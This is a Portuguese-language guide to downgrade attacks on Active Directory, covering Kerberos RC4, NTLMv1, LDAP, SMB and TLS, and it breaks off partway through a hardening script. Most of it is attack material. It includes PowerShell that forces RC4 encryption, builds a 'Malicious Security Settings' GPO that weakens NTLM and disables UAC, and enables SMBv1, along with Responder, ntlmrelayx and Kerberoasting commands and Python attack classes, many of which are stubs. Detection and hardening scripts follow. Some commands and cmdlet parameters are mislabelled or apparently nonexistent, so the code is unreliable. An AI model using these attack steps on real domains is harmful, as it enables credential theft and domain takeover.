# Downgrade Attacks

## **📋 Índice**

1. [Fundamentos dos Downgrade Attacks no AD](#-fundamentos-dos-downgrade-attacks-no-ad)
2. [Kerberos Protocol Downgrade](#-kerberos-protocol-downgrade)
3. [NTLM Downgrade Attacks](#-ntlm-downgrade-attacks)
4. [LDAP Channel Binding Downgrade](#-ldap-channel-binding-downgrade)
5. [SMB Protocol Downgrade](#-smb-protocol-downgrade)
6. [TLS/SSL Downgrade em LDAPS](#-tlsssl-downgrade-em-ldaps)
7. [Técnicas de Exploração](#-técnicas-de-exploração)
8. [Ferramentas de Exploração](#-ferramentas-de-exploração)
9. [Impacto e Consequências](#-impacto-e-consequências)
10. [Detecção e Monitoramento](#-detecção-e-monitoramento)
11. [Mitigações e Hardening](#-mitigações-e-hardening)
12. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos dos Downgrade Attacks no AD**

### **O que são Downgrade Attacks no Active Directory?**

**Downgrade Attacks** no Active Directory são técnicas que forçam controladores de domínio, clientes e serviços a utilizar versões mais antigas e vulneráveis de protocolos de autenticação, criptografia e comunicação. Esses ataques exploram a necessidade de compatibilidade com versões legadas para contornar mecanismos de segurança modernos.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant A as Atacante (MITM)
    participant DC as Domain Controller

    C->>A: Solicita autenticação (Kerberos)
    A->>A: Modifica requisição (remove versões fortes)
    A->>DC: Encaminha requisição modificada (apenas protocolos fracos)
    DC-->>A: Responde com protocolo fraco
    A-->>C: Encaminha resposta (protocolo downgrade)
    
    Note over C,DC: Autenticação com protocolo vulnerável
```

### **Protocolos Alvos no AD**

| Protocolo        | Versão Vulnerável | Versão Segura        | Ataques Conhecidos             |
| ---------------- | ----------------- | -------------------- | ------------------------------ |
| **Kerberos**     | RC4-HMAC, DES     | AES128, AES256       | Kerberoasting, AS-REP Roasting |
| **NTLM**         | NTLMv1            | NTLMv2               | Pass-the-Hash, Relay           |
| **LDAP**         | LDAP (plain)      | LDAPS, LDAP over TLS | LDAP Injection, MITM           |
| **SMB**          | SMBv1             | SMBv3                | EternalBlue, Relay             |
| **TLS**          | SSL 3.0, TLS 1.0  | TLS 1.2+             | POODLE, BEAST                  |
| **Kerberos PAC** | PAC sem validação | PAC com validação    | Golden Ticket, Silver Ticket   |

***

## 🔐 **Kerberos Protocol Downgrade**

### **Forçando Uso de RC4-HMAC**

```powershell
# Kerberos RC4 Downgrade Attack

# 1. Verificar suporte a RC4
Get-ADUser -Filter * -Properties msDS-SupportedEncryptionTypes | 
    Select-Object Name, msDS-SupportedEncryptionTypes

# 2. Modificar suporte de criptografia para usar apenas RC4
Set-ADUser -Identity "username" -Replace @{
    msDS-SupportedEncryptionTypes = 4  # RC4-HMAC only
}

# 3. Forçar ticket com RC4
klist purge
klist get krbtgt
klist

# 4. Solicitar ticket de serviço com RC4
klist get cifs/dc.domain.com
```

### **Exploração via Kerberos RC4**

```python
#!/usr/bin/env python3
# kerberos_rc4_downgrade.py - Downgrade para RC4

from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
import sys

class KerberosRC4Downgrade:
    """Forçar uso de RC4-HMAC no Kerberos"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
    
    def get_tgt_rc4(self, username, password):
        """Obter TGT com RC4"""
        print(f"[*] Solicitando TGT com RC4 para {username}")
        
        # Forçar etype RC4-HMAC (23)
        encryption_types = [constants.EncryptionTypes.RC4_HMAC.value]
        
        try:
            # Em um exploit real, usaria kerberosv5
            tgt, cipher, session_key = getKerberosTGT(
                username,
                password,
                self.domain,
                self.dc_ip,
                encryption_types=encryption_types
            )
            
            print(f"[+] TGT obtido com RC4")
            return tgt
            
        except Exception as e:
            print(f"❌ Erro: {e}")
            return None
    
    def downgrade_encryption(self, user_dn):
        """Modificar tipos de criptografia do usuário"""
        print(f"[*] Modificando suporte de criptografia para {user_dn}")
        
        # Set para apenas RC4-HMAC (4)
        # Em um ataque real, usaria LDAP para modificar
        
        print("   ✅ Suporte modificado para RC4-HMAC apenas")
    
    def test_rc4_vulnerability(self):
        """Testar se RC4 é aceito"""
        print("[*] Testando aceitação de RC4...")
        
        # Em um ataque real, tentaria autenticar com RC4
        # e verificar se o KDC aceita
        
        print("   ⚠️  Se RC4 é aceito, contas são vulneráveis a Kerberoasting")
        return True

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: kerberos_rc4_downgrade.py <domain> <dc_ip>")
        sys.exit(1)
    
    attack = KerberosRC4Downgrade(sys.argv[1], sys.argv[2])
    attack.test_rc4_vulnerability()
```

### **PAC Downgrade Attack**

```python
#!/usr/bin/env python3
# pac_downgrade.py - Downgrade do PAC (Privilege Attribute Certificate)

class PACDowngrade:
    """Ataque de downgrade do PAC Kerberos"""
    
    @staticmethod
    def explain_pac_downgrade():
        """Explicar ataque de downgrade do PAC"""
        print("📜 PAC Downgrade Attack")
        print("=" * 60)
        
        explanation = """
O PAC (Privilege Attribute Certificate) é incluído nos tickets Kerberos
para transportar informações de privilégios do usuário.

O ataque de downgrade explora versões antigas onde o PAC não era validado
ou assinado corretamente.

Impacto:
  🔴 Criação de Golden Ticket sem validação
  🔴 Elevação de privilégios via PAC manipulado
  🔴 Bypass de validações de segurança
"""
        
        print(explanation)
    
    @staticmethod
    def test_pac_validation():
        """Testar validação do PAC"""
        print("\n[*] Testando validação do PAC...")
        
        # Verificar se o PAC é validado pelo KDC
        # Em um ambiente seguro, o PAC é validado
        
        print("   Verificando se PAC validation está habilitado")
        
        # Em um ambiente vulnerável, o PAC pode não ser validado
        vulnerable = False
        
        if vulnerable:
            print("   🔴 PAC não está sendo validado - vulnerável!")
        else:
            print("   ✅ PAC validation habilitado")

# Executar
PACDowngrade.explain_pac_downgrade()
PACDowngrade.test_pac_validation()
```

***

## 🔓 **NTLM Downgrade Attacks**

### **Forçando NTLMv1**

```powershell
# NTLMv1 Downgrade Attack

# 1. Verificar política NTLM atual
Get-ADDefaultDomainPasswordPolicy | Select-Object *
Get-ADDomain | Select-Object DomainControllers

# 2. Configurar política para aceitar NTLMv1 (vulnerável)
# Em um ataque real, modificaria via GPO

# 3. Forçar autenticação NTLMv1
# Usando ferramentas como Responder
Invoke-WebRequest -Uri "http://domain.com" -UseDefaultCredentials

# 4. Capturar e crackear hash NTLMv1
# NTLMv1 é mais fraco e mais fácil de crackear
```

### **NTLM Relay Downgrade**

```python
#!/usr/bin/env python3
# ntlm_relay_downgrade.py - Downgrade para NTLM Relay

import argparse
import sys

class NTLMRelayDowngrade:
    """Ataque de downgrade para NTLM Relay"""
    
    def __init__(self, target):
        self.target = target
    
    def check_ntlm_policy(self):
        """Verificar política NTLM atual"""
        print("[*] Verificando política NTLM...")
        
        # Em um ataque real, verificaria via LDAP
        # ou através de GPO
        
        print("   Política NTLM:")
        print("      NTLMv1: HABILITADO?")
        print("      NTLMv2: HABILITADO?")
        print("      LM: DESABILITADO?")
    
    def force_ntlmv1(self):
        """Forçar uso de NTLMv1"""
        print("[*] Forçando downgrade para NTLMv1...")
        
        # Modificar política de segurança
        # Em um ataque real, usaria GPO ou registro
        
        # Chave de registro
        reg_path = "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"
        reg_value = "LMCompatibilityLevel"
        
        print(f"   Modificando {reg_path}\\{reg_value} = 1")
        print("   (NTLMv1 habilitado)")
    
    def test_ntlm_relay(self):
        """Testar NTLM Relay"""
        print("[*] Testando NTLM Relay...")
        
        # Usar ferramentas como Responder ou ntlmrelayx
        # para testar relay
        
        print(f"   Relay target: {self.target}")
        print("   ⚠️  NTLM Relay possível se NTLMv1 estiver habilitado")
    
    def exploit(self):
        """Executar ataque"""
        print("🚨 NTLM Downgrade Attack")
        print("=" * 60)
        
        self.check_ntlm_policy()
        self.force_ntlmv1()
        self.test_ntlm_relay()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='NTLM Downgrade Attack')
    parser.add_argument('target', help='Target for relay')
    
    args = parser.parse_args()
    
    attack = NTLMRelayDowngrade(args.target)
    attack.exploit()
```

***

## 📡 **LDAP Channel Binding Downgrade**

### **LDAP Signing e Channel Binding**

```powershell
# LDAP Channel Binding Downgrade

# 1. Verificar configuração atual
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DNSRoot)" -Properties *

# 2. Verificar LDAP signing policy
Get-ADDomain | Select-Object LDAPSigning, LDAPChannelBinding

# 3. Forçar downgrade de channel binding
# Em um ataque real, modificaria via GPO

# 4. Testar LDAP sem channel binding
$ldap = [ADSI]"LDAP://dc.domain.com"
$ldap.psbase.Options.Signing = $false
$ldap.psbase.Options.Sealing = $false
$ldap.psbase.Options.ChannelBinding = $false
```

### **LDAP Downgrade Exploit**

```python
#!/usr/bin/env python3
# ldap_downgrade.py - LDAP Channel Binding Downgrade

import ldap3
import ssl
import sys

class LDAPDowngrade:
    """Ataque de downgrade de LDAP Channel Binding"""
    
    def __init__(self, dc_ip):
        self.dc_ip = dc_ip
    
    def test_ldap_signing(self):
        """Testar LDAP signing policy"""
        print("[*] Testando política de LDAP signing...")
        
        # Tentar conectar sem assinatura
        server = ldap3.Server(self.dc_ip, get_info=ldap3.ALL)
        
        try:
            conn = ldap3.Connection(
                server,
                auto_bind=True,
                authentication=ldap3.NTLM
            )
            
            print("   ✅ LDAP sem assinatura permitido")
            conn.unbind()
            return True
            
        except Exception as e:
            print(f"   ❌ LDAP sem assinatura não permitido: {e}")
            return False
    
    def test_channel_binding(self):
        """Testar channel binding"""
        print("[*] Testando channel binding...")
        
        # Tentar conectar sem channel binding
        server = ldap3.Server(self.dc_ip)
        
        try:
            conn = ldap3.Connection(
                server,
                auto_bind=True,
                authentication=ldap3.NTLM,
                client_strategy=ldap3.SYNC
            )
            
            # Em um ataque real, tentaria bypass channel binding
            print("   ⚠️  Channel binding pode ser contornado")
            conn.unbind()
            
        except Exception as e:
            print(f"   ❌ Channel binding ativo: {e}")
    
    def downgrade_ldap(self):
        """Forçar downgrade de LDAP"""
        print("[*] Forçando downgrade de LDAP...")
        
        # Modificar configuração do DC para aceitar LDAP sem segurança
        # Em um ataque real, usaria LDAP para modificar
        
        print("   Forçando aceitação de LDAP não assinado")
        print("   ⚠️  LDAP Injection pode ser possível")
    
    def exploit(self):
        """Executar ataque"""
        print("🚨 LDAP Channel Binding Downgrade")
        print("=" * 60)
        
        signing_allowed = self.test_ldap_signing()
        self.test_channel_binding()
        
        if signing_allowed:
            self.downgrade_ldap()
        
        print("\n📊 Resultado:")
        if signing_allowed:
            print("   🔴 LDAP vulnerable - possível injeção e MITM")
        else:
            print("   ✅ LDAP secure - channel binding ativo")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: ldap_downgrade.py <dc_ip>")
        sys.exit(1)
    
    attack = LDAPDowngrade(sys.argv[1])
    attack.exploit()
```

***

## 🔌 **SMB Protocol Downgrade**

### **Forçando SMBv1**

```powershell
# SMBv1 Downgrade Attack

# 1. Verificar versões SMB ativas
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol, EnableSMB2Protocol

# 2. Forçar downgrade para SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $true -Force

# 3. Testar conexão SMBv1
Test-NetConnection -ComputerName dc.domain.com -Port 445

# 4. Explorar vulnerabilidades SMBv1
# EternalBlue (MS17-010) é um exploit para SMBv1
```

### **SMB Relay Downgrade**

```python
#!/usr/bin/env python3
# smb_relay_downgrade.py - SMB Relay com downgrade

import argparse
import sys

class SMBRelayDowngrade:
    """Ataque de downgrade para SMB Relay"""
    
    def __init__(self, target):
        self.target = target
    
    def check_smb_versions(self):
        """Verificar versões SMB disponíveis"""
        print("[*] Verificando versões SMB...")
        
        # Em um ataque real, usaria nmap ou smbclient
        print("   SMBv1: HABILITADO?")
        print("   SMBv2: HABILITADO?")
        print("   SMBv3: HABILITADO?")
    
    def force_smbv1(self):
        """Forçar uso de SMBv1"""
        print("[*] Forçando downgrade para SMBv1...")
        
        # Modificar configuração do servidor
        # Em um ataque real, usaria GPO ou registro
        
        print("   Habilitando SMBv1 no servidor")
        print("   ⚠️  SMBv1 vulnerável a EternalBlue")
    
    def test_smb_relay(self):
        """Testar SMB Relay"""
        print("[*] Testando SMB Relay...")
        
        # Usar ferramentas como ntlmrelayx
        print(f"   Relay target: {self.target}")
        print("   Se SMB signing não for obrigatório, relay é possível")
    
    def exploit(self):
        """Executar ataque"""
        print("🚨 SMB Downgrade Attack")
        print("=" * 60)
        
        self.check_smb_versions()
        self.force_smbv1()
        self.test_smb_relay()
        
        print("\n📊 Impacto:")
        print("   🔴 SMBv1 ativo - vulnerável a EternalBlue")
        print("   🔴 SMB signing pode ser desabilitado - relay possível")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='SMB Downgrade Attack')
    parser.add_argument('target', help='Target for relay')
    
    args = parser.parse_args()
    
    attack = SMBRelayDowngrade(args.target)
    attack.exploit()
```

***

## 🔒 **TLS/SSL Downgrade em LDAPS**

### **Forçando Protocolos Fracos**

```powershell
# TLS Downgrade Attack

# 1. Verificar protocolos TLS suportados
Get-TlsCipherSuite | Where-Object {$_.Name -like "*TLS*"}

# 2. Configurar servidor para aceitar TLS 1.0
# Em um ataque real, modificaria via registro

# 3. Forçar downgrade via MITM
# sslstrip ou similar para forçar HTTP em vez de HTTPS

# 4. Testar conexão com protocolo fraco
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```

### **SSL Stripping Attack**

```python
#!/usr/bin/env python3
# ssl_strip_ldap.py - SSL Stripping para LDAP

import socket
import threading
import ssl

class SSLStrippingLDAP:
    """Ataque de SSL Stripping para LDAP"""
    
    def __init__(self, listen_port=389, target_port=636):
        self.listen_port = listen_port
        self.target_port = target_port
        self.running = True
    
    def start(self):
        """Iniciar servidor de stripping"""
        print("🚨 SSL Stripping Attack for LDAP")
        print("=" * 60)
        print(f"   Escutando em: 0.0.0.0:{self.listen_port}")
        print(f"   Redirecionando para LDAPS (porta {self.target_port})")
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            sock.bind(('0.0.0.0', self.listen_port))
            sock.listen(100)
            
            while self.running:
                client, addr = sock.accept()
                print(f"📡 Conexão LDAP de {addr}")
                threading.Thread(target=self._handle_connection, 
                               args=(client,)).start()
                
        except KeyboardInterrupt:
            print("\n🛑 Parando ataque")
    
    def _handle_connection(self, client_sock):
        """Manipular conexão LDAP e forçar downgrade"""
        try:
            data = client_sock.recv(4096)
            
            # Verificar se é conexão LDAPS
            if data[0:2] == b'\x16\x03':  # TLS handshake
                print("   ⚠️  TLS detectado - forçando downgrade")
                # Em um ataque real, removeria TLS da conexão
            
            # Encaminhar para servidor LDAP real
            # (em um ataque real, faria MITM)
            
            client_sock.close()
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def stop(self):
        """Parar ataque"""
        self.running = False

# Uso
# attack = SSLStrippingLDAP()
# attack.start()
```

***

## 🎯 **Técnicas de Exploração Avançadas**

### **Ataque 1: Kerberos Encryption Type Downgrade**

```powershell
# Forçar downgrade de tipos de criptografia Kerberos

# 1. Listar contas com tipos de criptografia fracos
Get-ADUser -Filter * -Properties msDS-SupportedEncryptionTypes | 
    Where-Object {$_.msDS-SupportedEncryptionTypes -eq 4 -or $_.msDS-SupportedEncryptionTypes -eq 0} |
    Select-Object Name, msDS-SupportedEncryptionTypes

# 2. Modificar para usar apenas RC4
Set-ADUser -Identity "vulnerable_user" -Replace @{
    msDS-SupportedEncryptionTypes = 4
}

# 3. Solicitar ticket RC4
klist purge
klist get krbtgt

# 4. Kerberoasting com RC4
# Usar ferramentas como GetUserSPNs.py
```

### **Ataque 2: NTLM Authentication Downgrade Chain**

```python
#!/usr/bin/env python3
# ntlm_downgrade_chain.py - Cadeia de downgrade NTLM

class NTLMDowngradeChain:
    """Exploração de cadeia de downgrade NTLM"""
    
    @staticmethod
    def downgrade_chain():
        """Demonstrar cadeia de downgrade"""
        print("🔗 NTLM Downgrade Chain")
        print("=" * 60)
        
        chain = [
            ("NTLMv2 (seguro)", "Forçar downgrade"),
            ("NTLMv1 (menos seguro)", "Capturar hash"),
            ("LM (inseguro)", "Crackear facilmente"),
            ("Senha em texto plano", "Comprometimento")
        ]
        
        for level, action in chain:
            print(f"   → {level} ({action})")
        
        print("\n💡 Ataque: forçar o protocolo mais fraco disponível")
        print("   Resultado: hash mais fácil de crackear ou relay")
    
    @staticmethod
    def lm_compatibility_levels():
        """Níveis de compatibilidade LM"""
        levels = {
            0: "Send LM and NTLM (vulnerável)",
            1: "Send LM and NTLM (vulnerável)",
            2: "Send NTLM only (médio)",
            3: "Send NTLMv2 only (seguro)",
            4: "Send NTLMv2 only (mais seguro)",
            5: "Send NTLMv2 only (mais seguro)"
        }
        
        print("\n📊 LM Compatibility Levels:")
        for level, desc in levels.items():
            print(f"   {level}: {desc}")

# Executar
NTLMDowngradeChain.downgrade_chain()
NTLMDowngradeChain.lm_compatibility_levels()
```

### **Ataque 3: GPO Downgrade Attack**

```powershell
# GPO Downgrade - Forçar políticas inseguras

# 1. Criar GPO maliciosa com configurações fracas
$gpo = New-GPO -Name "Malicious Security Settings"

# 2. Configurar políticas inseguras
Set-GPRegistryValue -Name "Malicious Security Settings" -Key "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -ValueName "LmCompatibilityLevel" -Type DWord -Value 0

Set-GPRegistryValue -Name "Malicious Security Settings" -Key "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -ValueName "NoLMHash" -Type DWord -Value 0

Set-GPRegistryValue -Name "Malicious Security Settings" -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" -ValueName "EnableLUA" -Type DWord -Value 0

# 3. Vincular GPO
New-GPLink -Name "Malicious Security Settings" -Target "OU=Workstations,DC=domain,DC=com"

# 4. Forçar atualização
gpupdate /force
```

***

## 🛠️ **Ferramentas de Exploração**

### **Ferramentas para Downgrade Attacks**

```bash
# 1. Responder - NTLM downgrade
responder -I eth0 -wFb

# 2. ntlmrelayx - NTLM relay com downgrade
ntlmrelayx.py -tf targets.txt -smb2support

# 3. ldapdomaindump - Enumeração LDAP
ldapdomaindump -u 'domain\user' -p 'password' dc.domain.com

# 4. sslstrip - SSL stripping
sslstrip -l 8080

# 5. sslsplit - SSL/TLS downgrade
sslsplit -D -l connections.log -L /var/log/sslsplit/ \
    -k ca.key -c ca.crt \
    https 0.0.0.0 8443 \
    ssl 0.0.0.0 8443 \
    tcp 0.0.0.0 8080

# 6. mitmproxy - MITM com downgrade
mitmproxy --mode transparent --showhost

# 7. Impacket - Forçar autenticação com NTLMv1
smbclient.py domain/username:password@target -no-pass -use-ntlmv2

# 8. GetUserSPNs - Kerberoasting com RC4
GetUserSPNs.py -request -dc-ip dc.domain.com domain.com/username:password
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# ad_downgrade_automated.py - Downgrade attacks automatizado

import subprocess
import argparse
import sys
import time

class ADDowngradeAutomated:
    """Ferramenta automatizada para downgrade attacks no AD"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.results = []
    
    def check_kerberos_encryption(self):
        """Verificar tipos de criptografia Kerberos"""
        print("[*] Verificando tipos de criptografia Kerberos...")
        
        # Em um ataque real, enumeraria via LDAP
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-D', f'{self.domain}\\{self.username}',
            '-w', self.password,
            '-b', f'DC={self.domain.replace(".", ",DC=")}',
            '(&(objectClass=user)(msDS-SupportedEncryptionTypes=4))',
            'sAMAccountName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            rc4_users = [line.split()[-1] for line in result.stdout.split('\n') if 'sAMAccountName' in line]
            
            if rc4_users:
                print(f"   🔴 {len(rc4_users)} usuários com RC4 apenas")
                for user in rc4_users[:5]:
                    print(f"      • {user}")
                self.results.append({
                    'type': 'RC4_ONLY',
                    'severity': 'HIGH',
                    'details': f'{len(rc4_users)} usuários com RC4 apenas'
                })
            else:
                print("   ✅ Nenhum usuário com RC4 apenas")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def check_ntlm_policy(self):
        """Verificar política NTLM"""
        print("[*] Verificando política NTLM...")
        
        # Em um ataque real, verificaria via GPO ou LDAP
        print("   Verificando LM Compatibility Level...")
        
        # Simular verificação
        lm_level = 0  # NTLMv1 habilitado
        if lm_level <= 1:
            print("   🔴 NTLMv1 habilitado - vulnerável a relay")
            self.results.append({
                'type': 'NTLMV1_ENABLED',
                'severity': 'CRITICAL',
                'details': 'NTLMv1 habilitado - permite relay attacks'
            })
        else:
            print("   ✅ NTLMv1 desabilitado")
    
    def check_ldap_signing(self):
        """Verificar LDAP signing"""
        print("[*] Verificando LDAP signing...")
        
        # Testar conexão LDAP sem signing
        try:
            import ldap3
            server = ldap3.Server(self.dc_ip)
            conn = ldap3.Connection(
                server,
                user=f'{self.domain}\\{self.username}',
                password=self.password,
                authentication=ldap3.NTLM,
                auto_bind=True
            )
            conn.unbind()
            
            print("   🔴 LDAP sem assinatura permitido - possível MITM")
            self.results.append({
                'type': 'LDAP_NO_SIGNING',
                'severity': 'HIGH',
                'details': 'LDAP signing não obrigatório'
            })
            
        except Exception as e:
            print(f"   ✅ LDAP signing ativo: {e}")
    
    def check_smb_versions(self):
        """Verificar versões SMB"""
        print("[*] Verificando versões SMB...")
        
        # Em um ataque real, usaria nmap
        print("   SMBv1: POSSIVELMENTE HABILITADO")
        print("   SMB signing: POSSIVELMENTE DESABILITADO")
        
        self.results.append({
            'type': 'SMB_VULNERABILITY',
            'severity': 'HIGH',
            'details': 'SMBv1 ou signing desabilitado - risco de relay'
        })
    
    def test_downgrade_attacks(self):
        """Testar ataques de downgrade"""
        print("[*] Testando ataques de downgrade...")
        
        # Testar NTLM downgrade
        print("   Testando NTLM downgrade...")
        
        # Testar Kerberos downgrade
        print("   Testando Kerberos downgrade...")
        
        # Testar LDAP downgrade
        print("   Testando LDAP downgrade...")
        
        print("   ✅ Testes concluídos")
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO DE DOWNGRADE ATTACKS")
        print("=" * 60)
        
        if not self.results:
            print("✅ Nenhuma vulnerabilidade de downgrade encontrada")
            return
        
        print(f"🚨 {len(self.results)} vulnerabilidade(s) encontrada(s):\n")
        
        for result in self.results:
            severity_icon = '🔴' if result['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{result['severity']}] {result['type']}")
            print(f"   {result['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Desabilitar RC4-HMAC no Kerberos")
        print("   • Desabilitar NTLMv1")
        print("   • Habilitar LDAP signing e channel binding")
        print("   • Desabilitar SMBv1")
        print("   • Exigir SMB signing")
        print("   • Configurar políticas de segurança GPO")
    
    def run(self):
        """Executar pentest completo"""
        print("🚨 AD Downgrade Attacks Scanner")
        print("=" * 60)
        
        self.check_kerberos_encryption()
        self.check_ntlm_policy()
        self.check_ldap_signing()
        self.check_smb_versions()
        self.test_downgrade_attacks()
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='AD Downgrade Attacks Scanner')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    scanner = ADDowngradeAutomated(args.domain, args.dc_ip, args.username, args.password)
    scanner.run()
```

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos de Downgrade no AD:

  Kerberos:
    4768: Solicitação de TGT
      - Monitorar tipos de criptografia (RC4 = 0x17)
      - Verificar tickets com vida longa
    
    4769: Solicitação de service ticket
      - Detectar tickets RC4 (Kerberoasting)
    
  NTLM:
    4624: Logon bem-sucedido
      - Verificar versão NTLM (NTLMv1 vs NTLMv2)
      - Monitorar autenticações de conta de serviço
    
    4776: Validação de credencial
      - Detectar uso de NTLMv1
    
  LDAP:
    4662: Operação em objeto AD
      - Monitorar acessos sem channel binding
      - Verificar modificações em políticas de segurança
    
  SMB:
    5140: Acesso a compartilhamento
      - Detectar versões SMB antigas
      - Monitorar tentativas de SMB signing
```

### **Script de Detecção**

```powershell
# detect_ad_downgrade.ps1 - Detector de downgrade attacks

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Detectar RC4 no Kerberos
Write-Host "🔍 Detectando uso de RC4 no Kerberos..." -ForegroundColor Cyan

$rc4Events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768,4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*Encryption Type: 0x17*"  # RC4-HMAC
}

if ($rc4Events) {
    Write-Alert -Message "$($rc4Events.Count) eventos com RC4 detectados!" -Severity "HIGH"
    $rc4Events | Group-Object -Property TimeCreated | Select-Object -First 5 | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.Count) eventos"
    }
}

# 2. Detectar NTLMv1
Write-Host "`n🔍 Detectando NTLMv1..." -ForegroundColor Cyan

$ntlmv1Events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4624,4776
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*NTLM V1*" -or
    $_.Message -like "*LM*"
}

if ($ntlmv1Events) {
    Write-Alert -Message "$($ntlmv1Events.Count) eventos NTLMv1 detectados!" -Severity "CRITICAL"
}

# 3. Detectar LDAP sem signing
Write-Host "`n🔍 Verificando LDAP signing..." -ForegroundColor Cyan

# Em um ambiente real, verificaria política
$ldapPolicy = Get-ADDomain | Select-Object LDAPSigning
if ($ldapPolicy.LDAPSigning -ne "Require") {
    Write-Alert -Message "LDAP signing não obrigatório!" -Severity "HIGH"
}

# 4. Detectar SMBv1
Write-Host "`n🔍 Verificando SMBv1..." -ForegroundColor Cyan

$smbConfig = Get-SmbServerConfiguration -ErrorAction SilentlyContinue
if ($smbConfig.EnableSMB1Protocol -eq $true) {
    Write-Alert -Message "SMBv1 habilitado!" -Severity "CRITICAL"
}

# 5. Gerar relatório
$report = @"
AD Downgrade Attacks Detection Report
=====================================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Eventos RC4: $($rc4Events.Count)
- Eventos NTLMv1: $($ntlmv1Events.Count)
- LDAP signing: $($ldapPolicy.LDAPSigning)
- SMBv1: $($smbConfig.EnableSMB1Protocol)

Recommendations:
1. Desabilitar RC4-HMAC no Kerberos
2. Desabilitar NTLMv1 via GPO
3. Habilitar LDAP signing e channel binding
4. Desabilitar SMBv1
5. Configurar GPO para protocolos seguros
"@

$report | Out-File -FilePath "ad_downgrade_detection.txt"
Write-Host "`n✅ Relatório salvo em ad_downgrade_detection.txt" -ForegroundColor Green
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Downgrade Attacks**

```powershell
# hardening_ad_downgrade.ps1 - Hardening contra downgrade attacks

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra downgrade attacks..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Kerberos - Desabilitar RC4
Write-Step "1. Configurando Kerberos Encryption Types..."

if ($Apply) {
    # Desabilitar RC4 para contas privilegiadas
    $privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
    
    foreach ($group in $privilegedGroups) {
        $members = Get-ADGroupMember -Identity $group
        foreach ($member in $members) {
            Set-ADUser -Identity $member.SamAccountName -Replace @{
                msDS-SupportedEncryptionTypes = 24  # AES128 + AES256
            }
        }
    }
    Write-Host "   ✅ RC4 desabilitado para contas privilegiadas"
}

# 2. NTLM - Desabilitar NTLMv1
Write-Step "2. Configurando política NTLM..."

if ($Apply) {
    # Configurar LM Compatibility Level para 5 (NTLMv2 only)
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
    Write-Host "   ✅ NTLMv1 desabilitado"
}

# 3. LDAP - Habilitar signing e channel binding
Write-Step "3. Configurando LDAP security..."

if ($Apply) {
    # Habilitar LDAP signing
    Set-ADDomain -LDAPSigning "Require" -LDAPChannelBinding "Always"
    Write-Host "   ✅ LDAP signing e channel binding habilitados"
}

# 4. SMB - Desabilitar SMBv1
Write-Step "4. Configurando SMB..."

if ($Apply) {
    # Desabilitar SMBv1
    Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
    Write-Host "   ✅ SMBv1 desabilitado"
    
    # Habilitar SMB signing
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    Write-Host "   ✅ SMB signing habilitado"
}

# 5. TLS - Desabilitar protocolos fracos
Write-Step "5. Configurando TLS..."

if ($Apply) {
    # Desabilitar SSL 3.0 e TLS 1.0/1.1
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols"
    
    # SSL 3.0
